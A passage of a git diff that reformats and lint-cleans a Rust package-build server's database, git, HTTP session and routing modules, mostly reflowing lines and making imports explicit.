- WHERE p.name = ?1 AND r.state = 'published'"),
+ WHERE p.name = ?1 AND r.state = 'published'"
+ ),
params![pkgbase],
row_to_release,
)
@@ -82,9 +81,7 @@ pub fn accepted_release(db: &Db, pkgbase: &str) -> Result<Option<ReleaseRow>> {
pub fn releases_for_pkgbase(db: &Db, pkgbase_id: i64, limit: i64) -> Result<Vec<ReleaseRow>> {
db.read(|c| {
- let sql = format!(
- "SELECT {RELEASE_COLS} FROM release WHERE pkgbase_id=?1 ORDER BY id DESC LIMIT ?2"
- );
+ let sql = format!("SELECT {RELEASE_COLS} FROM release WHERE pkgbase_id=?1 ORDER BY id DESC LIMIT ?2");
let mut stmt = c.prepare(&sql)?;
let rows = stmt.query_map(params![pkgbase_id, limit], row_to_release)?;
let mut out = Vec::new();
@@ -97,9 +94,7 @@ pub fn releases_for_pkgbase(db: &Db, pkgbase_id: i64, limit: i64) -> Result<Vec<
pub fn all_published_releases(db: &Db) -> Result<Vec<ReleaseRow>> {
db.read(|c| {
- let sql = format!(
- "SELECT {RELEASE_COLS} FROM release WHERE state='published' ORDER BY pkgbase_id, id DESC"
- );
+ let sql = format!("SELECT {RELEASE_COLS} FROM release WHERE state='published' ORDER BY pkgbase_id, id DESC");
let mut stmt = c.prepare(&sql)?;
let rows = stmt.query_map([], row_to_release)?;
let mut out = Vec::new();
@@ -109,4 +104,3 @@ pub fn all_published_releases(db: &Db) -> Result<Vec<ReleaseRow>> {
Ok(out)
})
}
-
diff --git a/src/db/repos.rs b/src/db/repos.rs
index 1906610..1423bdc 100644
--- a/src/db/repos.rs
+++ b/src/db/repos.rs
@@ -1,6 +1,6 @@
use rusqlite::{params, OptionalExtension};
-use crate::db::*;
+use crate::db::{Db, Writer};
use crate::error::{Error, Missing, Result};
// -------------------------------------------------------------------- repo --
@@ -26,4 +26,3 @@ pub fn repo_id(db: &Db) -> Result<i64> {
.ok_or_else(|| Error::not_found(Missing::RepoRow))
})
}
-
diff --git a/src/db/retention.rs b/src/db/retention.rs
index 3e6f22f..75d9c29 100644
--- a/src/db/retention.rs
+++ b/src/db/retention.rs
@@ -1,6 +1,6 @@
use rusqlite::params;
-use crate::db::*;
+use crate::db::{Db, Writer};
use crate::error::Result;
use crate::time;
@@ -77,7 +77,15 @@ pub fn mark_release_purged(writer: &Writer, release_id: i64) -> Result<()> {
})
}
-pub fn record_gc_run(writer: &Writer, at: &str, kept: i64, evicted: i64, files_removed: i64, bytes_freed: i64, staging_swept: i64) -> Result<()> {
+pub fn record_gc_run(
+ writer: &Writer,
+ at: &str,
+ kept: i64,
+ evicted: i64,
+ files_removed: i64,
+ bytes_freed: i64,
+ staging_swept: i64,
+) -> Result<()> {
let at = at.to_string();
writer.tx(move |tx| {
tx.execute(
@@ -88,4 +96,3 @@ pub fn record_gc_run(writer: &Writer, at: &str, kept: i64, evicted: i64, files_r
Ok(())
})
}
-
diff --git a/src/db/settings.rs b/src/db/settings.rs
index d42bb52..a8104a7 100644
--- a/src/db/settings.rs
+++ b/src/db/settings.rs
@@ -1,6 +1,6 @@
use rusqlite::{params, OptionalExtension};
-use crate::db::*;
+use crate::db::{Db, Writer};
use crate::error::Result;
// ---------------------------------------------------------------- settings --
@@ -53,4 +53,3 @@ pub fn set_setting(writer: &Writer, key: &str, value: &str) -> Result<()> {
Ok(())
})
}
-
diff --git a/src/db/snapshots.rs b/src/db/snapshots.rs
index 7966c8b..144cb0d 100644
--- a/src/db/snapshots.rs
+++ b/src/db/snapshots.rs
@@ -1,6 +1,6 @@
use rusqlite::{params, OptionalExtension};
-use crate::db::*;
+use crate::db::{Db, Writer};
use crate::error::Result;
use crate::time;
@@ -15,12 +15,8 @@ pub fn put_snapshot(
srcinfo_json: &str,
files_json: &str,
) -> Result<i64> {
- let (c, rh, si, fj) = (
- aur_commit.to_string(),
- recipe_hash.to_string(),
- srcinfo_json.to_string(),
- files_json.to_string(),
- );
+ let (c, rh, si, fj) =
+ (aur_commit.to_string(), recipe_hash.to_string(), srcinfo_json.to_string(), files_json.to_string());
let at = time::now();
writer.tx(move |tx| {
tx.execute(
@@ -29,11 +25,9 @@ pub fn put_snapshot(
ON CONFLICT(pkgbase_id, aur_commit) DO NOTHING",
params![pkgbase_id, c, rh, si, fj, at],
)?;
- tx.query_row(
- "SELECT id FROM snapshot WHERE pkgbase_id=?1 AND aur_commit=?2",
- params![pkgbase_id, c],
- |r| r.get(0),
- )
+ tx.query_row("SELECT id FROM snapshot WHERE pkgbase_id=?1 AND aur_commit=?2", params![pkgbase_id, c], |r| {
+ r.get(0)
+ })
.map_err(Into::into)
})
}
@@ -73,20 +67,10 @@ pub fn snapshot_by_commit(db: &Db, pkgbase_id: i64, commit: &str) -> Result<Opti
pub fn snapshot_by_id(db: &Db, id: i64) -> Result<Option<SnapshotRow>> {
db.read(|c| {
- c.query_row(
- "SELECT id, aur_commit, recipe_hash, srcinfo_json FROM snapshot WHERE id=?1",
- params![id],
- |r| {
- Ok(SnapshotRow {
- id: r.get(0)?,
- aur_commit: r.get(1)?,
- recipe_hash: r.get(2)?,
- srcinfo_json: r.get(3)?,
- })
- },
- )
+ c.query_row("SELECT id, aur_commit, recipe_hash, srcinfo_json FROM snapshot WHERE id=?1", params![id], |r| {
+ Ok(SnapshotRow { id: r.get(0)?, aur_commit: r.get(1)?, recipe_hash: r.get(2)?, srcinfo_json: r.get(3)? })
+ })
.optional()
.map_err(Into::into)
})
}
-
diff --git a/src/db/stage_b.rs b/src/db/stage_b.rs
index bdcd836..7dd1129 100644
--- a/src/db/stage_b.rs
+++ b/src/db/stage_b.rs
@@ -1,11 +1,16 @@
use rusqlite::params;
-use crate::db::*;
+use crate::db::{Db, StageBCacheRow};
use crate::error::Result;
// --------------------------------------------------------- stage B cache --
-pub fn stage_b_cache_get(db: &Db, pkgbase_id: i64, recipe_hash: &str, tip_hash: &str) -> Result<Option<StageBCacheRow>> {
+pub fn stage_b_cache_get(
+ db: &Db,
+ pkgbase_id: i64,
+ recipe_hash: &str,
+ tip_hash: &str,
+) -> Result<Option<StageBCacheRow>> {
let (rh, th) = (recipe_hash.to_string(), tip_hash.to_string());
db.read(move |c| {
use rusqlite::OptionalExtension;
@@ -13,14 +18,7 @@ pub fn stage_b_cache_get(db: &Db, pkgbase_id: i64, recipe_hash: &str, tip_hash:
"SELECT epoch, pkgver, pkgrel, pins_json FROM stage_b_cache
WHERE pkgbase_id=?1 AND recipe_hash=?2 AND tip_hash=?3",
params![pkgbase_id, rh, th],
- |r| {
- Ok((
- r.get::<_, String>(0)?,
- r.get::<_, String>(1)?,
- r.get::<_, String>(2)?,
- r.get::<_, String>(3)?,
- ))
- },
+ |r| Ok((r.get::<_, String>(0)?, r.get::<_, String>(1)?, r.get::<_, String>(2)?, r.get::<_, String>(3)?)),
)
.optional()?
.map(|(epoch, pkgver, pkgrel, pins_json)| StageBCacheRow {
@@ -41,14 +39,7 @@ pub fn stage_b_recent(db: &Db, pkgbase_id: i64, cooldown_secs: i64) -> Result<Op
WHERE pkgbase_id=?1 AND resolved_at > ?2
ORDER BY resolved_at DESC LIMIT 1",
params![pkgbase_id, cutoff],
- |r| {
- Ok((
- r.get::<_, String>(0)?,
- r.get::<_, String>(1)?,
- r.get::<_, String>(2)?,
- r.get::<_, String>(3)?,
- ))
- },
+ |r| Ok((r.get::<_, String>(0)?, r.get::<_, String>(1)?, r.get::<_, String>(2)?, r.get::<_, String>(3)?)),
)
.optional()?
.map(|(epoch, pkgver, pkgrel, pins_json)| StageBCacheRow {
@@ -83,4 +74,3 @@ pub fn stage_b_cache_put(
Ok(())
})
}
-
diff --git a/src/db/staleness.rs b/src/db/staleness.rs
index 59fccee..58be227 100644
--- a/src/db/staleness.rs
+++ b/src/db/staleness.rs
@@ -1,6 +1,6 @@
use rusqlite::{params, OptionalExtension};
-use crate::db::*;
+use crate::db::{Db, Writer};
use crate::error::Result;
use crate::time;
@@ -33,11 +33,7 @@ pub fn served_vs_offered_pkgvers(db: &Db) -> Result<Vec<(String, String, String)
WHERE r.state = 'published'",
)?;
let rows = st.query_map([], |r| {
- Ok((
- r.get::<_, String>(0)?,
- r.get::<_, String>(1)?,
- r.get::<_, Option<String>>(2)?.unwrap_or_default(),
- ))
+ Ok((r.get::<_, String>(0)?, r.get::<_, String>(1)?, r.get::<_, Option<String>>(2)?.unwrap_or_default()))
})?;
Ok(rows.collect::<::rusqlite::Result<Vec<_>>>()?)
})
@@ -63,10 +59,12 @@ pub fn index_recipes(db: &Db) -> Result<Vec<(String, String)>> {
pub fn approval_note(db: &Db, approval_id: i64) -> Result<String> {
db.read(|c| {
- c.query_row("SELECT COALESCE(note,'') FROM approval WHERE id=?1", params![approval_id], |r| r.get::<_, String>(0))
- .optional()
- .map(|o| o.unwrap_or_default())
- .map_err(Into::into)
+ c.query_row("SELECT COALESCE(note,'') FROM approval WHERE id=?1", params![approval_id], |r| {
+ r.get::<_, String>(0)
+ })
+ .optional()
+ .map(std::option::Option::unwrap_or_default)
+ .map_err(Into::into)
})
}
@@ -77,7 +75,6 @@ pub fn candidate_snapshot_id(db: &Db, candidate_id: i64) -> Result<Option<i64>>
})
}
-
pub fn put_source_cache(writer: &Writer, url: &str, digest: &str, size: u64, path: &str) -> Result<()> {
let (u, d, p) = (url.to_string(), digest.to_string(), path.to_string());
let at = time::now();
@@ -93,11 +90,9 @@ pub fn put_source_cache(writer: &Writer, url: &str, digest: &str, size: u64, pat
pub fn source_cache_path(db: &Db, url: &str, digest: &str) -> Result<Option<String>> {
db.read(|c| {
- Ok(c.query_row(
- "SELECT path FROM source_cache WHERE url=?1 AND digest=?2",
- params![url, digest],
- |r| r.get::<_, String>(0),
- )
+ Ok(c.query_row("SELECT path FROM source_cache WHERE url=?1 AND digest=?2", params![url, digest], |r| {
+ r.get::<_, String>(0)
+ })
.optional()?)
})
}
@@ -121,4 +116,3 @@ pub fn insert_artifact_in(tx: &rusqlite::Transaction<'_>, a: &NewArtifact<'_>) -
)?;
Ok(())
}
-
diff --git a/src/db/subscriptions.rs b/src/db/subscriptions.rs
index fc17de3..5b31f48 100644
--- a/src/db/subscriptions.rs
+++ b/src/db/subscriptions.rs
@@ -1,6 +1,6 @@
use rusqlite::{params, OptionalExtension, Row};
-use crate::db::*;
+use crate::db::{Db, SubscriptionState, Writer};
use crate::error::Result;
use crate::time;
@@ -51,13 +51,9 @@ pub fn list_subscriptions(db: &Db) -> Result<Vec<Subscription>> {
pub fn get_subscription(db: &Db, pkgbase: &str) -> Result<Option<Subscription>> {
db.read(|c| {
- c.query_row(
- &format!("SELECT {SUB_COLS} FROM subscription WHERE pkgbase = ?1"),
- params![pkgbase],
- row_to_sub,
- )
- .optional()
- .map_err(Into::into)
+ c.query_row(&format!("SELECT {SUB_COLS} FROM subscription WHERE pkgbase = ?1"), params![pkgbase], row_to_sub)
+ .optional()
+ .map_err(Into::into)
})
}
@@ -83,17 +79,14 @@ pub fn subscribe(writer: &Writer, repo_id: i64, pkgbase: &str, aur_url: &str) ->
pub fn set_subscription_state(writer: &Writer, pkgbase: &str, state: SubscriptionState) -> Result<()> {
let (p, s) = (pkgbase.to_string(), state.to_string());
writer.tx(move |tx| {
- tx.execute(
- "UPDATE subscription SET state=?1 WHERE pkgbase=?2",
- params![s, p],
- )?;
+ tx.execute("UPDATE subscription SET state=?1 WHERE pkgbase=?2", params![s, p])?;
Ok(())
})
}
pub fn note_check(writer: &Writer, pkgbase: &str, next_check_at: &str, err: Option<&str>) -> Result<()> {
let (p, n) = (pkgbase.to_string(), next_check_at.to_string());
- let e = err.map(|s| s.to_string());
+ let e = err.map(std::string::ToString::to_string);
let at = time::now();
writer.tx(move |tx| {
tx.execute(
@@ -120,4 +113,3 @@ pub fn due_subscriptions(db: &Db, now: &str) -> Result<Vec<Subscription>> {
Ok(out)
})
}
-
diff --git a/src/db/world.rs b/src/db/world.rs
index 73e327f..19a28f1 100644
--- a/src/db/world.rs
+++ b/src/db/world.rs
@@ -1,6 +1,6 @@
use rusqlite::params;
-use crate::db::*;
+use crate::db::{json_or, Db, WorldMember, Writer};
use crate::error::Result;
use crate::time;
@@ -19,8 +19,7 @@ pub fn put_world_snapshot(writer: &Writer, members: &[WorldMember]) -> Result<i6
ON CONFLICT(hash) DO NOTHING",
params![hash, json, at],
)?;
- tx.query_row("SELECT id FROM world_snapshot WHERE hash=?1", params![hash], |r| r.get(0))
- .map_err(Into::into)
+ tx.query_row("SELECT id FROM world_snapshot WHERE hash=?1", params![hash], |r| r.get(0)).map_err(Into::into)
})
}
@@ -31,12 +30,8 @@ pub fn put_world_snapshot(writer: &Writer, members: &[WorldMember]) -> Result<i6
#[cfg(feature = "test-support")]
pub fn world_members(db: &Db, id: i64) -> Result<Vec<WorldMember>> {
db.read(|c| {
- let s: String = c.query_row(
- "SELECT members_json FROM world_snapshot WHERE id=?1",
- params![id],
- |r| r.get(0),
- )?;
+ let s: String =
+ c.query_row("SELECT members_json FROM world_snapshot WHERE id=?1", params![id], |r| r.get(0))?;
Ok(json_or(&s, Vec::new()))
})
}
-
diff --git a/src/error.rs b/src/error.rs
index 2159d46..737dce1 100644
--- a/src/error.rs
+++ b/src/error.rs
@@ -63,10 +63,9 @@ impl fmt::Display for Refused {
Refused::WrongState { entity, id, found, expected } => {
write!(f, "{entity} {id} is {found}, not {expected}")
}
- Refused::PointerMoved { pkgbase } => write!(
- f,
- "accepted pointer moved while this build was running; refusing to publish ({pkgbase})"
- ),
+ Refused::PointerMoved { pkgbase } => {
+ write!(f, "accepted pointer moved while this build was running; refusing to publish ({pkgbase})")
+ }
Refused::Other(s) => write!(f, "{s}"),
}
}
@@ -115,7 +114,9 @@ pub enum WorldGap {
impl fmt::Display for WorldGap {
fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result {
match self {
- WorldGap::MissingPin { package } => write!(f, "sandbox world is missing {package} after installing the lease set"),
+ WorldGap::MissingPin { package } => {
+ write!(f, "sandbox world is missing {package} after installing the lease set")
+ }
WorldGap::Other(s) => write!(f, "{s}"),
}
}
@@ -419,9 +420,10 @@ mod tests {
// The `From<&str>` arms exist so typing is incremental: a guard that is
// genuinely just a sentence lands in Invariant/Other rather than
// blocking the refactor.
- assert!(matches!(Error::fail_closed("no aur_commit on the source identity"),
- Error::FailClosed(Guard::Invariant(_))));
- assert!(matches!(Error::not_found("snapshot for build"),
- Error::NotFound(Missing::Other(_))));
+ assert!(matches!(
+ Error::fail_closed("no aur_commit on the source identity"),
+ Error::FailClosed(Guard::Invariant(_))
+ ));
+ assert!(matches!(Error::not_found("snapshot for build"), Error::NotFound(Missing::Other(_))));
}
}
diff --git a/src/fetch.rs b/src/fetch.rs
index 98876bc..d9689aa 100644
--- a/src/fetch.rs
+++ b/src/fetch.rs
@@ -31,9 +31,7 @@ fn open(url: &str) -> Result<(Body, Option<u64>)> {
.timeout(std::time::Duration::from_secs(300))
.call()
.map_err(|e| Error::Http(format!("{url}: {e}")))?;
- let len = resp
- .header("content-length")
- .and_then(|v| v.parse::<u64>().ok());
+ let len = resp.header("content-length").and_then(|v| v.parse::<u64>().ok());
return Ok((Body::Http(resp.into_reader()), len));
}
Err(Error::invalid(format!("unsupported url scheme: {url}")))
diff --git a/src/git.rs b/src/git.rs
index 5ee41dd..a14ac50 100644
--- a/src/git.rs
+++ b/src/git.rs
@@ -14,10 +14,10 @@ pub fn git(cwd: Option<&Path>, args: &[&str]) -> Result<String> {
cmd.env("GIT_CONFIG_NOSYSTEM", "1");
cmd.env("LC_ALL", "C");
let out = cmd.output().map_err(|e| Error::git(format!("git {args:?}: {e}")))?;
- ok(out, args)
+ ok(&out, args)
}
-fn ok(out: Output, args: &[&str]) -> Result<String> {
+fn ok(out: &Output, args: &[&str]) -> Result<String> {
if !out.status.success() {
return Err(Error::git(format!(
"git {args:?} exited {}: {}",
@@ -35,11 +35,7 @@ fn git_ok(cwd: Option<&Path>, args: &[&str]) -> bool {
pub fn ls_remote_head(url: &str) -> Result<Option<String>> {
match git(None, &["ls-remote", url, "HEAD"]) {
Ok(out) => {
- let sha = out
- .split_whitespace()
- .next()
- .filter(|s| s.len() >= 7)
- .map(|s| s.to_string());
+ let sha = out.split_whitespace().next().filter(|s| s.len() >= 7).map(std::string::ToString::to_string);
Ok(sha)
}
Err(e) if is_missing_remote(&e) => Ok(None),
@@ -49,11 +45,9 @@ pub fn ls_remote_head(url: &str) -> Result<Option<String>> {
pub fn ls_remote_ref(url: &str, refname: &str) -> Result<Option<String>> {
match git(None, &["ls-remote", url, refname]) {
- Ok(out) => Ok(out
- .lines()
- .next()
- .and_then(|l| l.split_whitespace().next())
- .map(|s| s.to_string())),
+ Ok(out) => {
+ Ok(out.lines().next().and_then(|l| l.split_whitespace().next()).map(std::string::ToString::to_string))
+ }
Err(e) if is_missing_remote(&e) => Ok(None),
Err(e) => Err(e),
}
@@ -85,10 +79,7 @@ pub fn clone_bare(url: &str, dest: &Path) -> Result<()> {
if let Some(parent) = dest.parent() {
std::fs::create_dir_all(parent)?;
}
- git(
- None,
- &["clone", "--quiet", "--bare", url, &dest.display().to_string()],
- )?;
+ git(None, &["clone", "--quiet", "--bare", url, &dest.display().to_string()])?;
Ok(())
}
@@ -180,12 +171,7 @@ pub fn cat_file_batch(mirror: &Path, oids: &[String]) -> Result<BTreeMap<String,
stdout.read_exact(&mut newline)?;
out.insert(id, body);
}
- _ => {
- return Err(Error::git(format!(
- "unreadable cat-file header {:?}",
- header.trim_end()
- )))
- }
+ _ => return Err(Error::git(format!("unreadable cat-file header {:?}", header.trim_end()))),
}
}
@@ -215,15 +201,11 @@ pub fn materialize(mirror: &Path, commit: &str, dest: &Path) -> Result<()> {
.output()
.map_err(|e| Error::git(e.to_string()))?;
if !out.status.success() {
- return Err(Error::git(format!(
- "git archive {commit}: {}",
- String::from_utf8_lossy(&out.stderr).trim()
- )));
+ return Err(Error::git(format!("git archive {commit}: {}", String::from_utf8_lossy(&out.stderr).trim())));
}
let mut ar = tar::Archive::new(std::io::Cursor::new(&out.stdout));
ar.set_preserve_permissions(true);
- ar.unpack(dest)
- .map_err(|e| Error::git(format!("unpack {commit}: {e}")))?;
+ ar.unpack(dest).map_err(|e| Error::git(format!("unpack {commit}: {e}")))?;
Ok(())
}
diff --git a/src/http/auth.rs b/src/http/auth.rs
index 0f174ef..9c7a733 100644
--- a/src/http/auth.rs
+++ b/src/http/auth.rs
@@ -15,10 +15,7 @@ fn random_hex() -> Option<String> {
let mut buf = [0u8; 32];
let mut f = std::fs::File::open("/dev/urandom").ok()?;
f.read_exact(&mut buf).ok()?;
- let nanos = std::time::SystemTime::now()
- .duration_since(std::time::UNIX_EPOCH)
- .map(|d| d.as_nanos())
- .unwrap_or(0);
+ let nanos = std::time::SystemTime::now().duration_since(std::time::UNIX_EPOCH).map_or(0, |d| d.as_nanos());
let salt = format!("{:?}", (buf, nanos, std::process::id(), counter()));
Some(hash::hex(salt.as_bytes()))
}
@@ -37,7 +34,7 @@ pub(crate) fn new_session() -> Option<String> {
}
pub(crate) fn is_valid_session(sid: &str) -> bool {
- sessions().lock().map(|s| s.contains_key(sid)).unwrap_or(false)
+ sessions().lock().is_ok_and(|s| s.contains_key(sid))
}
pub(crate) fn authenticate(sid: &str) {
@@ -49,7 +46,7 @@ pub(crate) fn authenticate(sid: &str) {
}
pub(crate) fn is_authenticated(sid: &str) -> bool {
- sessions().lock().map(|s| s.get(sid).copied().unwrap_or(false)).unwrap_or(false)
+ sessions().lock().is_ok_and(|s| s.get(sid).copied().unwrap_or(false))
}
pub(crate) fn drop_session(sid: &str) {
diff --git a/src/http/forms.rs b/src/http/forms.rs
index 579b931..802855b 100644
--- a/src/http/forms.rs
+++ b/src/http/forms.rs
@@ -9,15 +9,12 @@ pub fn decode(s: &str) -> String {
i += 1;
}
b'%' if i + 2 < bytes.len() => {
- match u8::from_str_radix(&s[i + 1..i + 3], 16) {
- Ok(v) => {
- out.push(v);
- i += 3;
- }
- Err(_) => {
- out.push(bytes[i]);
- i += 1;
- }
+ if let Ok(v) = u8::from_str_radix(&s[i + 1..i + 3], 16) {
+ out.push(v);
+ i += 3;
+ } else {
+ out.push(bytes[i]);
+ i += 1;
}
}
c => {
diff --git a/src/http/mod.rs b/src/http/mod.rs
index f10d4e2..a437978 100644
--- a/src/http/mod.rs
+++ b/src/http/mod.rs
@@ -24,7 +24,7 @@ struct Req {
}
impl Req {
-/// Read by the route handlers, which are in this module; the word `form` in a test is a local parameter.
+ /// Read by the route handlers, which are in this module; the word `form` in a test is a local parameter.
fn form(&self) -> &[(String, String)] {
&self.form_pairs
}
@@ -65,10 +65,24 @@ struct Res {
impl Res {
/// `pub(crate)`, not `pub`: the census counted it as test-only because the word appears in `tests/http.rs`, but only inside a string — a route path, a content type, the word "redirect" in an assertion message. Nothing in the test tier calls it.
fn html(status: u16, body: String) -> Self {
- Self { status, content_type: "text/html; charset=utf-8".into(), body: body.into_bytes(), headers: Vec::new(), stream: None, stream_len: None }
+ Self {
+ status,
+ content_type: "text/html; charset=utf-8".into(),
+ body: body.into_bytes(),
+ headers: Vec::new(),
+ stream: None,
+ stream_len: None,
+ }
}
pub fn text(status: u16, body: String) -> Self {
- Self { status, content_type: "text/plain; charset=utf-8".into(), body: body.into_bytes(), headers: Vec::new(), stream: None, stream_len: None }
+ Self {
+ status,
+ content_type: "text/plain; charset=utf-8".into(),
+ body: body.into_bytes(),
+ headers: Vec::new(),
+ stream: None,
+ stream_len: None,
+ }
}
pub fn stream(content_type: &str, reader: impl std::io::Read + Send + 'static, known_len: Option<usize>) -> Self {
Self {
@@ -118,32 +132,29 @@ pub use server::Server;
pub(crate) use server::Server;
pub fn spawn(cfg: Config, db: Db) -> std::io::Result<Server> {
- let server = tiny_http::Server::http(&cfg.bind)
- .map_err(|e| std::io::Error::other(e.to_string()))?;
- let addr = server.server_addr().to_ip().map(|a| a.to_string()).unwrap_or_else(|| cfg.bind.clone());
+ let server = tiny_http::Server::http(&cfg.bind).map_err(|e| std::io::Error::other(e.to_string()))?;
+ let addr = server.server_addr().to_ip().map_or_else(|| cfg.bind.clone(), |a| a.to_string());
let state = Arc::new(State { cfg, db });
eprintln!("aur-build listening on http://{addr}");
// Detached on purpose: the accept loop owns the listener and runs until the
// process ends, and nothing joins it, so the handle would be stored unread.
- std::thread::Builder::new()
- .name("http-accept".into())
- .spawn(crate::time::inherit(move || {
- for request in server.incoming_requests() {
- let state = state.clone();
- std::thread::Builder::new()
- .name("http-conn".into())
- .spawn(crate::time::inherit(move || {
- if let Err(e) = serve(state, request) {
- eprintln!("http: {e}");
- }
- }))
- .ok();
- }
- }))?;
+ std::thread::Builder::new().name("http-accept".into()).spawn(crate::time::inherit(move || {
+ for request in server.incoming_requests() {
+ let state = state.clone();
+ std::thread::Builder::new()
+ .name("http-conn".into())
+ .spawn(crate::time::inherit(move || {
+ if let Err(e) = serve(&state, request) {
+ eprintln!("http: {e}");
+ }
+ }))
+ .ok();
+ }
+ }))?;
Ok(Server { addr })
}
-fn serve(state: Arc<State>, mut request: tiny_http::Request) -> std::io::Result<()> {
+fn serve(state: &State, mut request: tiny_http::Request) -> std::io::Result<()> {
let url = request.url().to_string();
let (path, query) = match url.split_once('?') {
Some((p, q)) => (p.to_string(), q.to_string()),
@@ -155,14 +166,12 @@ fn serve(state: Arc<State>, mut request: tiny_http::Request) -> std::io::Result<
.headers()
.iter()
.find(|h| h.field.equiv("Cookie"))
- .map(|h| auth::parse_cookies(h.value.as_str()))
- .unwrap_or_default();
+ .map_or_default(|h| auth::parse_cookies(h.value.as_str()));
let accept_gzip = request
.headers()
.iter()
.find(|h| h.field.equiv("Accept-Encoding"))
- .map(|h| h.value.as_str().contains("gzip"))
- .unwrap_or(false);
+ .is_some_and(|h| h.value.as_str().contains("gzip"));
let form_pairs = forms::parse(&body);
let req = Req {
method: request.method().as_str().to_string(),
@@ -173,7 +182,7 @@ fn serve(state: Arc<State>, mut request: tiny_http::Request) -> std::io::Result<
accept_gzip,
};
- let mut res = dispatch(&state, &req);
+ let mut res = dispatch(state, &req);
if let Some(sid) = res.headers.iter().find(|(k, _)| k == "X-New-Session").map(|(_, v)| v.clone()) {
res.headers.retain(|(k, _)| k != "X-New-Session");
res.header("Set-Cookie", &format!("sid={sid}; Path=/; HttpOnly; SameSite=Strict"));
@@ -188,13 +197,8 @@ fn serve(state: Arc<State>, mut request: tiny_http::Request) -> std::io::Result<
}
}
if let Some(reader) = res.stream.take() {
- let mut resp = tiny_http::Response::new(
- tiny_http::StatusCode(res.status),
- headers,
- reader,
- res.stream_len,
- None,
- );
+ let mut resp =
+ tiny_http::Response::new(tiny_http::StatusCode(res.status), headers, reader, res.stream_len, None);
if res.stream_len.is_some() {
resp = resp.with_chunked_threshold(usize::MAX);
}
diff --git a/src/http/render.rs b/src/http/render.rs
index 6e1083b..316988a 100644
--- a/src/http/render.rs
+++ b/src/http/render.rs
@@ -185,12 +185,7 @@ pub(crate) use panel::Panel;
impl Panel {
/// Built by the route handlers, which are in this module.
pub(crate) fn new(title: &str, body: String) -> Self {
- Self {
- title: title.into(),
- empty: body.trim().is_empty(),
- empty_note: "no change".into(),
- body,
- }
+ Self { title: title.into(), empty: body.trim().is_empty(), empty_note: "no change".into(), body }
}
}
@@ -419,21 +414,13 @@ pub(crate) fn static_asset(name: &str, accept_gzip: bool) -> crate::http::Res {
"htmx.min.js" => {
if accept_gzip {
let gz: &[u8] = std::include_bytes!("../../static/htmx.min.js.gz");
- let mut r = Res::stream(
- "text/javascript",
- std::io::Cursor::new(gz.to_vec()),
- Some(gz.len()),
- );
+ let mut r = Res::stream("text/javascript", std::io::Cursor::new(gz.to_vec()), Some(gz.len()));
r.header("Content-Encoding", "gzip");
r.header("Cache-Control", "public, max-age=86400");
return r;
}
let raw: &[u8] = std::include_bytes!("../../static/htmx.min.js");
- let mut r = Res::stream(
- "text/javascript",
- std::io::Cursor::new(raw.to_vec()),
- Some(raw.len()),
- );
+ let mut r = Res::stream("text/javascript", std::io::Cursor::new(raw.to_vec()), Some(raw.len()));
r.header("Cache-Control", "public, max-age=86400");
r
}
diff --git a/src/http/routes/mod.rs b/src/http/routes/mod.rs
index 2b9ebb9..1affabf 100644
--- a/src/http/routes/mod.rs
+++ b/src/http/routes/mod.rs
@@ -1,21 +1,27 @@
-use crate::db::{self, builds, model::*};
-use crate::review::candidates;
-use crate::time;
use super::auth;
-use super::render::*;
+use super::render::{
+ Attention, Audit, AuditRow, BlockedRow, BuildDetail, BuildLite, BuildRow, Builds, BuildsTable, Dashboard,
+ ErrorPage, IndexRow, Login, NoticeRow, PackageDetail, Packages, Page, Panel, PublishRow, ReviewDetail, ReviewHead,
+ ReviewRow, ReviewsPage, SettingRow, Settings, StaleRow, StepRow, SubRow, Subscriptions, TimelineRow, UnbuiltRow,
+};
use super::{Req, Res, State};
+use crate::db::{
+ self, builds,
+ model::{candidate_kind, BuildState, CandidateRow, Recipe, StepState, SubscriptionState},
+};
+use crate::review::candidates;
+use crate::time;
mod mutations;
mod pages;
pub(crate) use mutations::{
- build_cancel, build_retry, notice_ack, package_rebuild, package_withdraw, review_approve,
- review_reject, reviews_bulk, sub_add, sub_pause, sub_remove,
+ build_cancel, build_retry, notice_ack, package_rebuild, package_withdraw, review_approve, review_reject,
+ reviews_bulk, sub_add, sub_pause, sub_remove,
};
pub(crate) use pages::{
- attention, audit, build_detail, build_log, build_log_stream, builds_page, builds_with,
- dashboard, metrics, package_detail, packages, panels_base, review_body, review_detail,
- review_rows, reviews, settings, subscriptions,
+ attention, audit, build_detail, build_log, build_log_stream, builds_page, builds_with, dashboard, metrics,
+ package_detail, packages, panels_base, review_body, review_detail, review_rows, reviews, settings, subscriptions,
};
pub(crate) fn gate(state: &State, req: &Req, sid: &str) -> Option<Res> {
@@ -64,9 +70,8 @@ fn login_impl(state: &State, req: &Req) -> Res {
if let Some(old) = req.cookie("sid") {
auth::drop_session(&old);
}
- let sid = match auth::new_session() {
- Some(sid) => sid,
- None => return page_to_res(Login { page, error: "server: no entropy for a session".into() }, 500),
+ let Some(sid) = auth::new_session() else {
+ return page_to_res(Login { page, error: "server: no entropy for a session".into() }, 500);
};
auth::authenticate(&sid);
let mut res = Res::redirect("/");
@@ -111,25 +116,16 @@ pub(crate) fn route(state: &State, req: &Req, seg: &[&str]) -> Res {
fn not_found(state: &State, req: &Req) -> Res {
let page = chrome(state, req, "Not found", "nav_packages");
- page_to_res(
- ErrorPage {
- page,
- status: "404".into(),
- message: "no such page".into(),
- detail: String::new(),
- },
- 404,
- )
+ page_to_res(ErrorPage { page, status: "404".into(), message: "no such page".into(), detail: String::new() }, 404)
}
fn chrome(state: &State, req: &Req, title: &str, active: &str) -> Page {
let db = &state.db;
let mut page = Page::new(title, csrf(state, req));
- page.pending = candidates::pending_candidates(db).map(|v| v.len() as i64).unwrap_or(0);
- page.running = builds::in_flight(db).map(|v| v as i64).unwrap_or(0)
- + builds::queue_depth(db).map(|v| v as i64).unwrap_or(0);
- page.attention = db::list_notices(db, false).map(|v| v.len() as i64).unwrap_or(0)
- + builds::blocked_builds(db).map(|v| v.len() as i64).unwrap_or(0);
+ page.pending = candidates::pending_candidates(db).map_or(0, |v| v.len() as i64);
+ page.running = builds::in_flight(db).map_or(0, |v| v as i64) + builds::queue_depth(db).map_or(0, |v| v as i64);
+ page.attention = db::list_notices(db, false).map_or(0, |v| v.len() as i64)
+ + builds::blocked_builds(db).map_or(0, |v| v.len() as i64);
page.nav_reviews = if active == "nav_reviews" { "on" } else { "" };
page.nav_builds = if active == "nav_builds" { "on" } else { "" };
page.nav_attention = if active == "nav_attention" { "on" } else { "" };
